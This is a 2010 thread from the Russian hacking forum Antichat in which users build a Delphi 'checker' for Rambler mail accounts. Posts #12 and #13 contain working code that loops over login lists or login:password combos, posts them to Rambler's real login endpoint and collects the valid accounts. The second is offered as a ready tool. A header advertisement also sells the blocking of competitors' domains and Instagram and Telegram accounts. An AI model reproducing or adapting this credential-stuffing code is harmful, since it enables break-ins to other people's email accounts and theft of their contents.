УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > Программирование_OLD > С/С++, C#, Delphi, .NET, Asm
Чекер рамблер

Страница 2 из 2

Опции темы

Поиск в этой теме

Опции просмотра

#11

22.04.2010, 10:49

Serbies

Познающий

Регистрация: 26.12.2006

Сообщений: 31

Провел на форуме:
95909

Репутация: 10

Отправить сообщение для Serbies с помощью ICQ

Цитата:

Сообщение от aydar

Дельфи
Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage
Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login

я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет).
В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно)
Вот ссылки:
http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа
http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень
и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо

#12

22.04.2010, 14:46

aydar

Участник форума

Регистрация: 12.11.2009

Сообщений: 160

Провел на форуме:
568182

Репутация: 11

вот небольшие сырые наработки, пока без паролей

Цитата:

procedure TForm1.Button1Click(Sender: TObject);
var
params : tstringlist;
login,mail,s:string;
f:TextFile;

begin
login:='1aydar1992';
params := TStringList.Create;
AssignFile(f,'bazamail.txt');
reset(f);
while not eof(f) do
begin
readln(f,login);
try
params.Add('back=http://mail.rambler.ru/mail/startpage');
params.Add('login='+login);
params.Add('domain=rambler.ru');
params.Add('passw=1234567q');
memo1.Text := IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',params);
finally
if Pos('logout',memo1.Text)>0 then
memo2.text:=login else memo3.text:=login;
params.Free;
end;
end;
CloseFile(f);
end;
end.

#13

22.04.2010, 16:19

1n0y

Участник форума

Регистрация: 09.05.2009

Сообщений: 186

Провел на форуме:
1682814

Репутация: 102

Отправить сообщение для 1n0y с помощью ICQ

Код:

procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
pass,mail,domain:string;
post, page:tstringlist;
begin
 for i:=0 to form1.memo1.lines.count-1 do
  begin
   pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
   mail:=form1.memo1.lines[i];
   delete(mail, pos('@', mail), length(mail));
    if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
     domain:='lenta.ru';
    if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
     domain:='myrambler.ru';
    if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
     domain:='autorambler.ru';
    if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
     domain:='rambler.ru';
   post:=tstringlist.create;
   page:=tstringlist.create;
   post.Add('back=http://mail.rambler.ru/mail/startpage');
   post.Add('login='+mail);
   post.Add('domain='+domain);
   post.Add('passw='+pass);
    try
     page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
    finally
     if ansipos('logout', page.text)<>0 then
      form1.Memo2.Lines.Add(form1.memo1.lines[i]);
     page.free;
     post.free;
    end;
  end;
end;

на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится

пользуйся на здоровье.